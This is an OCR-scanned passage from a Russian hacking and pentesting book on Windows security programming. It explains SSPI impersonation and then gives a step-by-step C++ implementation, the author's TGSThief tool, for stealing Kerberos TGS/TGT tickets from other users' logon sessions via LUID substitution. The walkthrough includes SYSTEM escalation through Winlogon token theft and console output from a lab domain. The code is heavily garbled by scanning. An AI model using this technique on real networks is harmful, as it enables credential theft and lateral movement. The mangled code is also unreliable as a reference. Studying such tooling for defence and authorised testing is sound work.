Часть 74 // Устанавливаем информацию BOOL fFirstPass = TRUE; ss = SEC- I- CONTINUE- NEEDED; 11. Системное программирование для хакеров о состоянии цикла while (ss == SEC- I - CONTINUE- NEEDED) // Связь с клиентом // Получаем размер блоба ULONG lSize = О; ULONG lTempSize = sizeof(lSize); ReceiveData(&lSize, &lTempSize); // Получаем блоб РВУТЕ pbTokenBuf = (PBYTE)malloc(lSize); ReceiveData(pbTokenBuf, &lSize); // Входной буфер указывает на блоб secBufferin[0] .BufferType = SECBUFFER_TOKEN; secBufferin[0] .cbBuffer = lSize; secBufferin[0] .pvBuffer = pbTokenBuf; // Входной BufDesc указывает на входной буфер secBufferDescriptorin.cBuffers = 1; secBufferDescriptorin.pBuffers = secBufferin; secBufferDescriptorln.ulVersion = SECBUFFER VERSION; // Устанавливаем выходной буфер (SSPI выделит память secBufferOut[0] .BufferType = SECBUFFER_TOКEN; secBufferOut[0] .cbBuffer = О; secBufferOut[0] .pvBuffer = NULL; // Выходной BufDesc указывает на выходной буфер secBufDescriptorOut.cBuffers = 1; secBufDescriptorOut.pBuffers = secBufferOut; secBufDescriptorOut.ulVersion = SECBUFFER VERSION; для него) // Функция управления блобом ss = AcceptSecurityContext(phCredentials, fFirstPass ? NULL : phContext, &secBufferDescriptorin, *plAttrbibutes I ASC_REQ_ALLOCATE_MEMORY, SECURITY_NETWORK_DREP, phContext, &secBufDescriptorOut, plAttrbibutes, NULL); // Первый проход больше fFirstPass = FALSE; не нужен // Если блоб выходной, то посылаем его if (secBufferOut[0] .cbBuffer = О) { // Связь с клиентом // Посылаем размер блоба SendData(&secBufferOut[0] .cbBuffer, sizeof(ULONG) ); 1
Глава 4. Изучаем возможности WinAPI для пентестера 75 // Посылаем сам блоб SendData(secBufferOut[O] .pvBuffer, secBufferOut[O] .cbBuffer); // Освобождение выходного буфера FreeContextBuffer(secBufferOut[O] .pvBuffer); ) // Сидим в цикле, если ss == SEC I CONTINUE NEEDED if (ss != SEC_E_OK) { // leave; Окончательный результат fSuccess = TRUE; finally // Если сбой, то освобождаем хендл nолного контекста if ( 1 fSuccess) { ZeroMernory(phContext, sizeof(*phContext)); return (fSuccess); // Соответственно, вызов выполняется вот так if(!ServerHandshakeAuth(&hCredentials, &lAttributes, &hContext)) { // Ошибка ss = IrnpersonateSecurityContext(&hContext); if (ss != SEC_E_OK) { _leave; DeleteSecurityContext(&hContext); FreeCredentialsHandle(&hCredentials); Использование полного контекста После того как у нас успешно отработали функции AcceptSecuri tyContext () и InitializeSecurityContext (), мы получим на сервере хендл полного контекста. Его можно использовать следующим образом. Имперсонация IrnpersonateSecurityContext позволяет серверу олицетворять клиента с по­ мощью хендла контекста, ранее полученного вызовом AcceptSecurityContext 1) или QuerySecuri tyContextToken (). Функция IrnpersonateSecuri tyContext 1) дает серверу возмож­ Функция ность выступать от лица клиента при всех проверках прав доступа:
Часть 76 11. Системное программирование для хакеров KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY ImpersonateSecurityContext( [in] PCtxtHandle phContext ); RevertSecurityContext() Позволяет прекратить олицетворение вызывающего объекта и восстановить собст­ венный контекст безопасности: KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY RevertSecurityContext( [in] PCtxtHandle phContext ); Получение токена из контекста С помощью этой функции мы можем достать токен пользователя, контекст которо­ го получен из функции AcceptSecuri tyContext (): KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY QuerySecurityContextToken( [in] PCtxtHandle phContext, **Token [out] void ); Заключение Токены - это один из столпов безопасности в системах Windows. Сегодня вы по­ лучили представление лишь об основах работы с ними. Если интересно погрузить­ ся глубже, то попробуйте изучить ограниченные токены (CreateRestrictedToken ()) и их особенности.
ГЛАВА 5 Получаем билеты методом TGT GIUDA Есть разные способы злоупотреблять сессией пользователя на устройстве: кража учетных данных, манипуляции с токенами и другие. Но знаете ли вы, что можно сымитировать получение функции TGT-билета пользователем через совершенно легитимные Windows? В последнее время появилось несколько новых способов из такого разряда. Наиболее - WTSimpersonator (bttps://gitbub.com/OmriВaso/WTSimpersonator) (bttps://github.com/foxlox/GIUDA). Последний позволяет получать тике­ интересные и GШDA ты залогиненного пользователя, даже не зная его пароля! Давайте разберемся, как это работает, а параллельно напишем реализацию на С++, которую я назвал TGSThief (https://gitbub.com/МzНmOffGSThief/ЫoЬ/main/tgs.cpp ). Logon Session При входе пользователя в Windows появляется сессия пользователя, которая хранит все данные о нем. Для каждого нового пользователя создается новая сессия. На­ пример, если на компьютере одновременно работают два пользователя, то будут две сессии (рис. 5.1). Каждая сессия определяется с помощью LШD ния понятно, что LUIO (locally unique identifier). Из назва­ уникален для каждой сессии. Информация хранится в виде одноименной структуры. typedef ULONG LONG LUID, Сам struct _LUID { LowPart; HighPart; *PLUID; LUID представлен в виде двух значений: заполняется лишь поле ULONG и LONG. Причем обычно LowPart, а HighPart имеет значение О. Эта структура используется во всех функциях заны с сессиями пользователя. WinAPI, которые так или иначе свя­
Часть 78 Рис. 5.1. 11. Системное программирование для хакеров Как выглядят Logon Sessions С помощью GetTokeninfoпnation (} (https:/Лearn.microsoft.com/ru-ru/windows/win32/ api/securitybaseapi/nf-securitybaseapi-gettokeninformation) можно получить LUID пользователя. Для этого функции следует передать токен процесса, запущенного от имени текущего пользователя. #include <windows.h> #include <iostream> #include <sddl.h> int main() ( НANDLE tokenНandle; if (!OpenProcessToken(GetCurrentProcess(), TOКEN_QUERY, &tokenНandle)} ( std::cerr « "Ошибка OpenProcessToken: "« GetLastError() « std::endl; return 1; DWORD tokeninfoпnationLength: О; TokenStatistics, nullptr, О, &tokeninfoпnationLength}; if (GetLastError() !: ERROR_INSUFFICIENT_BUFFER) ( std: :cerr « "GetTokeninfoпnation неудачный первый вызов: " « GetLastError( } « std: :endl; CloseHandle(tokenHandle}; return 1; GetTokeninfoпnation(tokenHandle, ТОКЕN STATISTICS* tokenStats reinterpret_cast<TOКEN_STATISTICS*> (new BYTE[tokeninformationLength]}; if (tokenStats :: nullptr} ( std: :cerr « "Ошибка выделения CloseHandle(tokenHandle}; return 1; памяти для TOKEN STATISTICS" « std: :endl;
Глава if 5. Получаем билеты (!GetTokeninfoпnation(tokenНandle, &tokeninfoпnationLength)) std: :cerr « "Ошибка delete[] tokenStats; 79 TGT методом GIUDA TokenStatistics, tokenStats, tokeninfoпnationLength, { GetTokeninfoпnation: " « GetLastError () « std:: endl; CloseHandle(tokenНandle); return 1; std: :cout « "LUID: " « std: :hex « "Ох" « std: :uppercase « tokenStats->Authenticationid.LowPart << tokenStats->Authenticationid.HighPart << std: :endl; delete[] tokenStats; CloseHandle(tokenНandle); return О; Информация ТОКЕN о LUID пользователя упадет в поле Authenticationid структуры STATISTICS. typedef struct _TOКEN_STATISTICS { Tokenid; LUID Authenticationid; LUID ExpirationTime; LARGE INTEGER TokenType; ТОКЕN ТУРЕ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; DynamicCharged; DWORD DynamicAvailaЫe; DWORD DWORD GroupCount; PrivilegeCount; DWORD Modifiedid; LUID TOКEN_STATISTICS, *PTOКEN_STATISTICS; Именно на манипуляциях с ски идет подмена LUID, LUID основана логика инструмента GIUDA. Фактиче­ что открывает возможность запросить билет от лица поль­ зователя, чья сессия просто присутствует на устройстве. Свой научились, а как получать LUID мы получать LUID других пользователей? Конечно, мы можем перечислить все процессы, запросить токен каждого процесса, извлечь LUID, но это неудобно. Поэтому следует использовать функцию (https ://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions). LsaEnumera teLogonSessions () NTSTATUS LsaEnumerateLogonSessions( [out] PULONG LogonSessionCount, [out] PLUID *LogonSessionList ); □ LogonsessionCount - □ LogonSessionList - в этом параметре вернется количество сессий в системе; в этом параметре будет список LUID сессий на системе.
Часть 80 Рис. 5.2. 11. Системное программирование дпя хакеров Результат выполнения проrраммы Вот пример перечисления всех сессий в системе (рис. #include <windows.h> #include <ntsecapi.h> #include <iostream> #include <locale.h> #define STATUS SUCCESS 5.2): ((NТSTATUS)OxOOOOOOOOL) #pragma comment(lib, "Secur32.lib") int main() { setlocale(LC_ALL, ""); ULONG logonSessionCount = О; PLUID logonSessionList = nullptr; status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status != STATUS_SUCCESS) { std: :cerr « "Ошибка LsaEnumerateLogonSessions: " << status « std: :endl; return 1; NТSTATUS std: :cout « "Количество сеансов входа в систему: "<< logonSessionCount « std::endl; for (ULONG i = О; i < logonSessionCount; ++i) { std: :cout « "Сеанс N'" « i + 1 « std: :endl; std: :cout << "LUID: " << std: :hex << "Ох" << std: :uppercase << logonSessionList[i] .LowPart << logonSessionList[i] .HighPart << std: :endl; std: :cout « std: :endl;
Глава 5. Получаем билеты TGT методом G/UDA 81 LsaFreeReturnВuffer(logonSessionList); return О; К сожалению, из одного LUID не очень понятно, что представляет собой эта сес­ сия. Хотелось бы получить хотя бы имя пользователя. Для этого применяется функция LsaGetLogonSessionData () (bttps://learo.microsoft.com/ru-ru/windows/win32/ api/ntsecapi/nf-ntsecapi-lsagetlogonsessiondata). LsaGetLogonSessionData( Logonld, [in] PLUID [out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData NТSTATUS ); Функция принимает струкrуру LUID, информацию о котором нужно получить, а возвращает SECURITY_LOGON_ SESSION_DATA. typedef struct _SECURITY_LOGON_SESSION_DATA Size; ULONG Logonld; LUID UserName; LSA_UNICODE_STRING LSA- UNICODE- STRING LogonDomain; AuthenticationPackage; LSA- UNICODE- STRING LogonType; ULONG Session; ULONG Sid; PSID LogonTime; LARGE INTEGER LogonServer; LSA- UNICODE- STRING DnsDomainName; LSA- UNICODE- STRING Upn; LSA- UNICODE- STRING UserFlags; ULONG LSA_LAST_INTER_LOGON_INFO LastLogonlnfo; LogonScript; LSA_UNICODE_STRING ProfilePath; LSA- UNICODE- STRING HomeDirectory; LSA_UNICODE_STRING HomeDirectoryDrive; LSA_UN!CODE_STRING LogoffTime; LARGE INTEGER KickOffTime; LARGE INTEGER PasswordLastSet; LARGE INTEGER PasswordCanChange; LARGE INTEGER PasswordМustChange; LARGE_INTEGER SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA; В этой структуре - масса информации о пользователе: имя юзера, пакет аутенти­ фикации, через который он прошел проверку, и его флаги. Подробно с описанием каждого элемента структуры можете ознакомиться в документации: bttps://learn. _ session_ _logon capi-security microsoft.com/ru-ru/windows/win32/api/ntsecapi/ns-ntse
Часть 82 data. 11. Системное программирование для хакеров Нас же будут интересовать поля LogonDomain и lJserName. Следующая функция позволяет извлечь их, принимает только LUID. std: :wstring GetlJserNameFromLogonid(LlJID Logonid) PSEClJRITY_LOGON_SESSION_DATA pSessionData = NlJLL; if (LsaGetLogonSessionData(&Logonid, &pSessionData) != return L""; О) ( std: :wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer. + wcslen(pSessionData->LogonDomain.Buffer)); std::wstring userName(pSessionData->UserName.Buffer, pSessionData->lJserName.Buffer + wcslen(pSessionData->lJserName.Buffer)); LsaFreeReturnBuffer(pSessionData); return domainName + L"\\" + userName; Вот полный код программы с изменениями (рис. 5.3): #include <windows.h> #include <ntsecapi.h> #include <iostream> #include <locale.h> #define STATlJS SlJCCESS ( (NTSTATlJS)0x00000000L) #pragma comment (lib, "Secur32. lib") std: :wstring GetlJserNameFromLogonid(LlJID Logonld) { PSEClJRITY_LOGON_SESSION_DATA pSessionData = NULL; if (LsaGetLogonSessionData(&Logonid, &pSessionData) != return L""; О) { std: :wstring domainName(pSessionData->LogonDomain.Buffer, pSessionData->LogonDomain.Buffer + wcslen(pSessionData->LogonDomain.Buffer) ); std: :wstring userName(pSessionData->lJserName.Buffer, pSessionData->lJserName.Buffer + wcslen(pSessionData->lJserName.Buffer) 1; LsaFreeReturnBuffer(pSessionData); return domainName + L"\\" + userName; int main() { setlocale(LC_ALL, ""); lJLONG logonSessionCouпt = О; PLlJID logonSessionList = nullptr;
Глава 5. Получаем билеты TGT методом G/UDA 83 NTSTATUS status = LsaEnumerateLogonSessions(&logonSessionCount, &logonSessionList); if (status 1 = STAТUS SUCCESS) ( std: :cerr « "Оuмбка LsaEnumerateLogonSess1ons: " « status « std: :endl; return 1; std: :cout << "Количество сеансов входа в систему: "<< logonSessionCount << std: :endl; for (ULONG i О; i < logonSessionCount; ++ i) ( std: :cout << "Сеанс №" << i + 1 << std: :endl; std: :wcout « L"LUID: " « std: :hex « L"0x" « std: :uppercase « logonSessionList[i]. LowPart << logonSessionList[i] .HighPart << L" "<< GetUserNameFrornLogonid(logonSessionList[i] 1 << std: :endl; std: :cout << std: :endl; LsaFreeReturnBuffer(logonSessionList); return О; Рис. 5.3. Результат выполнения программы Отлично! Как выr:лядят сессии, мы разобрались. Теперь пора показать, как запра­ шиваются билеты чить чужой тикет. Kerberos самой LSA. Это поможет нам подменить LUID и полу­
Часть 84 Как LSA 11. Системное программирование для хакеров запрашивает билеты Для запроса ТGS-билета LSA получает Kerberos SPN (service principal пате, идентификатор службы) и передает на КОС. Мы можем запрашивать билеть1 TGS сами. Для этого (https://learn.microsoft.com/en-us/ windows/win32/api/ntsecapi/nf-ntsecapi-lsacallauthentica~onpackage). есть NТSTATUS [in] [in] [in] [in] [out] [out] [out] функция LsacallAuthenticationPackage () LsaCallAuthenticationPackage( LsaIJandle, ULONG AuthenticationPackage, PVOID ProtocolSuЬmitBuffer, ULONG SuЬmitBufferLength, PVOID *ProtocolReturnВuffer, PULONG ReturnВufferLength, PNTSTATUS ProtocolStatus НANDLE ); Здесь □ Lsaнandle - хендл, указывающий на службу LSA, который можно получить с по­ (https://learn.microsoft.com/en-us/windows/ win32/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess) или LsaConnectUntrusted () (https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapilsaconnectuntrusted); мощью LsaRegisterLogonProcess () □ AuthenticationPackage - номер АР, с которым следует взаимодействовать; □ ProtocolSuЬmitBuffer передаваемый буфер, мы будем отдавать КЕRВ_REТRIEVE _ткт_REQUEST (https://learn.microsoft.com/ru-ru/windows/win32/api/ ntsecapi/ns-ntsecapi-kerb_retrieve_ tkt_request); □ SuЬmi tBufferLength - размер передаваемого буфера; □ ProtocolReturnВuffer - ответ от AuthenticationPackage. Нам прилетит структура КЕRВ_RETRIEVE _ткт_RESPONSE (https://learn.microsoft.com/en-us/windows/win32/api/ ntsecapi/ns-ntsecapi-kerb_ retrieve_ tkt_response); □ ReturnBufferLength □ ProtocolStatus - размер буфера с ответом; значение, которое будет содержать код ошибки от АР. Итак, как заполнить КЕRВ_RETRIEVE_ткт_REQUEST, чтобы получить билет выглядит вот так: typedef struct _КERВ_RETRIEVE_TKT_REQUEST MessageType; Logonld; TargetNarne; TicketFlags; CacheOptions; EncryptionType; CredentialsHandle; КERВ_RETRIEVE_TKT_REQUEST, *PKERB_RETRIEVE_TKT_REQUEST; КERВ_PROTOCOL_MESSAGE_TYPE LUID UNICODE STRING ULONG ULONG LONG SecHandle TGS? Структура
Глава 5. Получаем билеты TGT методом GIUDA 85 Здесь то, □ MessageType что нам нужно получить от АР. Указываем KerbRetrieveEncodedTicketMessage; □ LogonID - LUID сессии, от лица которой происходит обращение к АР. Именно в-~:rот момент и будет подменен лись к LUID. Проблема в том, что если мы подключи­ через LsaConnectUntrusted (), то у нас не получится указать здесь LSA чужой сессии - LSA LUID выдаст ошибку Oxs ERROR_ACCESS _ DENIED, но если мы подклю­ чимся через LsaRegisterLogonProcess (), то сможем передавать сюда любой желан­ ный LUID. И таким образом сможем запрашивать билеты из чужой сессии; □ TargetName - здесь указываем □ cacheOptions - SPN службы, опции, связанные с кешем на которую нужно получить билет; LSA. Кеш LSA - это некое хранили­ ще, в котором лежат билеты. Здесь тоже есть некоторые особенности. Если мы сразу укажем КЕRВ _ RETRIEVE_ ТIСКЕТ _AS _ КЕRВ_ CRED (значение для получения билета в форме КRВ_CRED, сразу с сессионным ключом), то есть шанс не получить билет. Проблема в том, что в кеше рую мы хотим сходить. КЕRВ _ CRED, то LSA LSA может не быть билета для той службы, на кото­ и если мы сразу указываем КЕRВ- RETRIEVE- ТIСКЕТ- AS- может просто не вернуть никакого билета, поскольку возвращать нечего. Поэтому придется дважды вызвать функцию LsaCallAuthenticationPackage () '. Первый раз - со значением КERВ_RETRIEVE_TICКET_DEFAULT, второй ТIСКЕТ _AS _КЕRВ _ CRED. « ... DEFAULT» - с КERВ_RETRIEVE_ отвечает за запрос билета. То есть просим LSA об­ ратиться к КОС и получить билет; □ EncryptionType - желаемый тип шифрования для запрошенного билета. Указыва­ ем КЕRВ ЕТУРЕ DEFAULT □ CredentialsHandle - нам не принципиален тип шифрования; используется для SSPI, в данном случае неважно. Крадем билет Мы разобрались с тем, как работает запрос билетов Kerberos на локальной системе. Пора переходить к эксплуатации! Полный исходный код проекта можно посмот­ реть в моем репозитории: https://github.com/МzНmOffGSThief/ЫoЬ/main/tgs.cpp. Сначала мы перечисляем все имеющиеся сессии, для этого я создал функцию Logoninfo (), работа которой показана на рис. 5.4. Она принимает указатель на струк­ туру 1шо, которая будет проинициализирована нужной сессией. Фактически - у какого пользователя нужно стащить билет. Ну или не «стащить», а получить но­ вый, абсолютно свежий и чистый билет для каждого пользователя. В001 Logonlnfo(LUID* LogonSession) { std::vector<LUID> logonlds; PLUID sessions; ULONG sessionCount; if (LsaEnumerateLogonSessions(&sessionCount, &sessions) return FALSE; != О) {
Часть 86 11. Системное программирование для хакеров :\5hare>.\TG5Thief.exe [+] [+] [+] [+] [+] [+] [+] Current User 5ID: 5-1-5-21-3359195546-703283941-1907894624-500 Current User: СRINGЕ\Адиинистратор 5eDebugPrivilege EnaЫed SelmpersonatePrivilege EnaЫed Current User SID: 5-1-5-18 Current User: NT АUТНОRIТУ\СИСТЕИА 5ystem Impersonation 5uccess [!] Index: 0, Logon ID: 0004490(, Username: CRINGE\DC01$ [!] Index: 1, Logon ID: 0004075В, Username: CRШGE\DC01$ [!] Index: 2, Logon ID: 00027850, Username: NТ SERVICE\HSSQL$ШCRO5OFТIIIIHID [!] Index: 3, Logon ID: 00040384, Username: CRINGE\DC01$ [!] Index: 4, Logon ID: 000261А0, Username: NТ АUТНОRПУ\АНОНИННЫЙ ВХОД [!] Index: 5, Logon ID: 000483F9, Username: СRINGЕ\Аднинистратор [!] Index: б, Logon ID: 00045В9В, Username: CRINGE\DC01$ [!] Index: 7, Logon iD: 00040383, Usernaшe: CRINGE\DC01$ [!] Index: 8, Logon ID: 000003Е7, Username: CRINGE\DC01$ [ ! ],. Index: 9, Logon ID: 00040714, Usernan1e: CRINGE\DC01$ [!] - Index: 10, Logon ID : 0004054[, Usernaшe: CRINGE\DC01$ [ ! ] Index: 11, Logon ID: 00010(48, Usernaшe: t-Jindoы Hanage,•\DHH - 1 [!] Index: 12, Logon ID: 000003ES, Usernaшe: NT AUTHORITY\LOCAL 5ERVICE (!] Index: 13; Logon ID: 0000АбЕ8, Username: \ [!] Index: 14, Logon ID: 00010D59, Usernaшe: Hindoи Hanager \ DHH - 1 [!] Index: 15, Logon ID: 000003Е4, Usernaшe: CRINGE\DC01$ [ ! ] Index: 16, Logon ID: 00045834, Usernaшe: CRINЫ\DC01$ [?] Enter ind~;i bf logon session: . :ri-;~ri\ Рис. 5.4. Пример работы функции for (ULONG i = О; i < sessionCount; ++i) { logonids.push_back(sessions[i]); LsaFreeReturnBuffer(sessions); for (size_t i = О; i < logonids.size (); ++i) { std::wcout « L"\t[!] Index: "« i « L", Logon ID: "« to_hex(logonids[i].LowPart) « ", Username: " « GetUserNameFromLogonid Ilogonids [i] 1 « '\n'; size t index; std::cout « "\n[?] Enter index of logon session: "; std: :cin >> index; if (index < logonids.size()) { LUID selectedLogonid = logonids[index]; *LogonSession = selectedLogonld; return TRUE;
Глава 5. Получаем билеты 87 TGT методом GIUOA else { return FALSE; return FALSE; шагом Следующим подключаемся к помощью с LSA LsaRegisterLogonProcess {) (https:/Лearn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-lsaregis terlogonprocess), чтобы передать LUID чужой сессии . Для вызова этой функции нужна привилегия SeTcbPrivilege. Ею обладает только учетная запись системы. При­ вилегию, конечно, можно назначить и руками через (https://github.com/МzHmO/Privileger, рис . GPO или с помощью Privileger 5.5) . Чувствуете, что это несколько неудобно? Поэтому я добавил в код простейший ал­ горитм для повышения привилегий до учетной записи системы. Здесь все стан­ дартно: 1. 2. Получаем привилегии SeDebugPrivilege и SeimpersonatePrivilege. Получаем токен процесса, запущенного от лица системы. Я С 3. получаю токен Winlogon. Применяем токен к нашей программе с помощью ImpersonateLoggedOnlJser 1). PS C:\Users\Michael\Downloads> . \Privilegerxбll.exe (_) 1 ___ 1 1 1 ___ / •__ 1 \ \ / I 1 1/ _ \/ _, 1 1 1 1 1 1\ V / 1 1 1 __/ (_ 1 1_1 1- 1 1- 1 \ _/ I_I_I\ ___ J\ __ , __/ 1 -- \ 1 Michael SeTcbPrivilege (_) 1 1__ ) 1 1__ / 1/ _ \ ·-- 1 1 __/ 1 l\ ___ 1_1 1 V 1.2 https : //github . co~/MzHo,O [+] User Michael found [+] Privilege SeTcbPrivilege Found [+] Validation Success [+] ValidateAccinfo() success [+] Initializing 01ode 1 [+] Target Account: Michael [+] Privilege: SeTcbPrivilege [+] Co~puterNa~e : WINPC [+] LsaOpenPolicy() Success [+] User SID: S-1 - 5-21 -7181б71181 -5179Ц1511 - 111720Ц78б- 1002 [+] Adding SeTcbPrivilege Success [+] En~erating Current Privs Progr-~atic na~e: SelockMeRloryPrivilege Display Name: Бnокировка страниц в памяти Progr-~atic na~e: SeSecurityPrivilege Display Name: Упраопение аудитом и журнапом Program~atic name: SeTcbPrivilege Display N-e: Работа в режиме операционной PS C:\Users\Michael\D0111nloads> Рис. 5.5. безопасности систем•• 1 Добавление привилегии SeTcbPrivilege
Часть 88 11. Системное программирование для хакеров Код я выделил в отдельный файл getsystem.cpp (https://github.com/МzНmOffGSThief/ЫoЬ/main/getsystem.cpp). Теперь у нас есть привилегия SeTcbPrivilege, т. к. ею обладает учетная запись систе­ мы. Следующим шагом с помощью LsaLookupAuthenticationPackage () (https://learn. microsoft.com/en-us/windows/win32/api/ntsecapi/nf-nts ecapilsalookupauthenticationpackage) получаем номер АР Kerberos. Наконец у нас есть хендл, LUID и номер АР Kerberos. Пора ломать! Для этого я написал отдельную функцию AskTgs (). Она принимает все эти данные. В001 AskTgs(НANDLE Сначала hLsa, ULONG готовим две LUID logonid, LPCWSTR szTarget, LUID originaLuid) { АР, структуры - КЕRВ- RETRIEVE- ткт- REQUEST и КЕRВ- RETRIEVE- ткт- RESPONSE. Первую инициализируем значениями, которые я уже описывал. pKerbRetrieveRequest; PКERB_RETRIEVE_TKT_RESPONSE pKerbRetrieveResponse; dwTarget = (USHORT) ((wcslen(szTarget) + 1) * sizeof(wchar_t)); szData = sizeof(КERВ_RETRIEVE_TKT_REQUEST) + dwТarget; pKerbRetrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; pKerbRetrieveRequest->CacheOptions = КERВ_RETRIEVE_TICКET_DEFAULT; pKerbRetrieveRequest->EncryptionType = КERВ_ETYPE_DEFAULT; pKerbRetrieveRequest->TargetName.Length = dwTarget - sizeof(wchar_t); pKerbRetrieveRequest->TargetName.MaximшnLength = dwTarget; pKerbRetrieveRequest->Logonid = logonid; pKerbRetrieveRequest->TargetName.Buffer = (PWSTR) ((PBYTE)pKerbRetrieveRequest + PКERB_RETRIEVE_TКТ_REQUEST sizeof(КERB_RETRIEVE_TKT_REQUEST)); RtlCopyMemory(pKerbRetrieveRequest->TargetName.Buffer, szTarget, pKerbRetrieveRequest-> TargetName.MaximшnLength); И вызываем LSA: NTSTATUS status = LsaCallAuthenticationPackage(hLsa, АР, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus); Теперь LSA обратится к КОС и получит новый тикет. Если мы сразу же попробуем его извлечь, то он не будет валидным. Точнее, в нем не будет сессионного ключа, и пользоваться им не получится. Поэтому, убедившись, что вызов успешно КЕRВ _RETRIEVE _тrсКЕт _As _КЕRВ _CRED и обращаемся к совершен, меняем cacheOptions на LSA. if (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) pKerbRetrieveRequest->CacheOptions = КERВ_RETRIEVE_TICКET_AS_КERВ_CRED; status = LsaCallAuthenticationPackage(hLsa, АР, pKerbRetrieveRequest, szData, (PVOID*)&pKerbRetrieveResponse, &szData, &packageStatus);
Глава 5. Получаем билеты TGT методом G/UDA 89 i f (status == STATUS_SUCCESS) { if (packageStatus == STATUS_SUCCESS) std::wcout « « 1 11 [+] Asking for TGS Success 11 « std::endl; « base64_encode (pKerbRetrieveResponse-> +] Ticket: std:: cout Ticket.EncodedTicket, pKerbRetrieveResponse->Ticket.EncodedTicketSize) 11 [ 11 << std::endl; Билет будет лежать в поле Ticket.EncodedTicket. Предлагаю посмотреть, как это рабо­ тает. Представим, что во время пентеста мы сломали машину, на которую ходит поль­ зователь CRINGE\petka. Запускаем TGSThief (https://github.com/МzHmOffGSThiet) 5.6). и видим его сессию. Передаем номер его сессии (рис. Z:\Share>.\TGSThief.exe [+ ] [ +] [ +] [ +] [+] [+] [+] Cllrrent User SID : S-1-5-21-3359195546-703283941-1907894624-500 CL1rrent Use~ : CRНIGE \Ад,,, инис тратор SeDebugPrivilege EnaЫed SelmpersonatePrivilege E naЬled Current Us er SID: S-1-5-18 Cu rrent User: rн АUТНОRIТУ\СИСТЕНА System Impersonation Success [ ! ] I nde x : 0 , Logon ID: 0004490(, Llsername: CRINGE \ DC01$ [!] I nd e x : 1, Logon ID: 00027850, Usernan1e: NT 5Е RVIC Е \HSSQL$NIC ROSOF Т##ШD [!] Index: ., Logon ID: 00040384, Us e rname: CRHJGE \ DC01$ [ ! ] Index : 3 , Logon ID: 0002бlд0, Usern ame: NT AUTHORITY\AHOHИI-IHЫЙ вход [ ! ] Index: 4, Logon ID: 000483F9, Usernan1e: CRHIGE \ Ад,•IИНИС тратор [ ! ] Index: 5, Logon ID: 0008294(, Username: CRHJGE \ DC01$ [ ! ] Index: б, Logon ID: 000003 Е 7, Use rn ame : CRНJGE\DC01$ [ ! ] Index: ,, Logon ID : 00032906, Usern aшe: CRINGE \ DC01$ [ ! ] Index: 8 , Logon ID : 0004054Е, Usern an1e: CRINGE\DC01$ [ ! ] I nd e x: 9 , Logon ID: 002В62В8, Use rn ame: Hindo,., l-\anager\Dl•Jl,\-2 [ ! ] Index: 10, Logon ID: 0026C3F0, Us e rname: CRINGE \ DC01$ о r!l TnrJpx: 11. 1 CJ Pnn т , AAA1At4R. ( !e;Prn,1mp: [ ! ] Index: 12, Logon ID : 002В9(33 , Username: l ! J lnaex: [ ! ] Index : [ ! ] Index: [ ! ] Inde x: [ ! ] Index: [ ! ] Index: [ ! ] Inde x : ~; [ ! ] Index: 13, 14, 15, 16, 17, 18, 19, 20, Logon Logon Logon Logon Logon Logon Logon Logon ш: ID : 10 : ID : ID: ID: ID: ID : i,Ji nrJmoJ r,1-1n;н:1pr\DHH-l CRШGE \p et ka us ername: r-11 AUIHUKllY\LOCAL SERVICE 002B6 2D4, Us e rname: Hindo,, Hanager\D\-11-1-2 000829В9, Username : CRHIGE \ DC01$ 0000А6Е8, Us ername: \ 002В9С4С, Us ername : CRШGE\petka 00010D59, Us ernan1e : l·iindoн Hanager\DHH-1 000003Е 4, Us er,name : CRНIGE \ DC01$ 00082983, Username : CRINGE\DC01$ l:!1:H:11:!t!3t:,, [?] En~er·t i'ndex of logon session: , 12 Рис. Затем прописываем нужный билет. И получаем его (рис. SPN, 5.7). 5.6. Указание сессии т. е. службу, на которую нужно получить ТGS­ У спех! Теперь можем ходить от лица CRINGE\petka на dcOl. cringe. laЬ.
Часть 90 Рис. 11. 5.7 . Успешный Системное программирование для хакеров инжект билета
Глава Получаем билеты 5. ТGТ-это TGT методом GIUDA TGS Казалось бы, получение билета TGS - отличный результат! Но всегда хочется большего, правда? Знаете ли вы, что билет на службу krbtgt? 91 TGT - это фактически билет Получается, что у нас есть ТGS-билет на krbtgt, TGS, но krbtgt а служба позволяет выписывать другие ТGS-билеты. Вот и всё. [ ♦] [ ♦] [ ♦] [ ♦] [ ♦] [ ♦] [ ♦] Current User SIO: S-1-S-21-33S919S546- 703283941-1907894624-500 Cu1·1·ent User: CR INGЕ\Д.Д,-.1инистратор SeDebugPr i \t i lege EnaЬled Se Impe1•sonatePr i v i lege EnaЬled Current Usep SID: S-1-5-18 Current User: NT AUTHORIТY\CИCTHIA Systeni Impeгsonation Success [!] Index : 0, Logon ID: 0004490(, U serпame : CRНJGE\DC01$ [!] Index: 1, Logon ID: 00027850, Userna me: NT 5Е RVI CE \fl55Ql $НICROSOF Т U#\-IID [!] [ndex: 2, Logon ![): 00040384, Username: C RШGE I DC01$ [!] Index: 3, Logon ID: 000261А0, Userna me: rн АUТНОR!ТУ\АНОНИf\НЫЙ вход [!j Index : 4, Logan ID: 000483f 9, Userna me: CRI NGE \Адr-1инистратор [!] Index: 5 , logon ID: 0008294(, Usernan1e: CRHIGE\DC0 1$ [!] Index: 6, Logon ID: 000003[ 7, Use t·name: CRir/GE\DC01$ [!j Index: 7' Logon ID: 00082906, User·name: CRINGEIDC0I$ [!j Index: 8, Logon JD: 0004054[, Username: CRHJGF \DC01$ [!j Index: 9. Logon ID: 00286288, Use,·name: Hindow 1·1anaget'\DHH - 2 [!j Inde :c 10, logon ID: 0026( Зf 0, User·name: CRНJGf\OC01$ [!] .I11de)(; 11. 1ogon !О: 00010(48, Username: 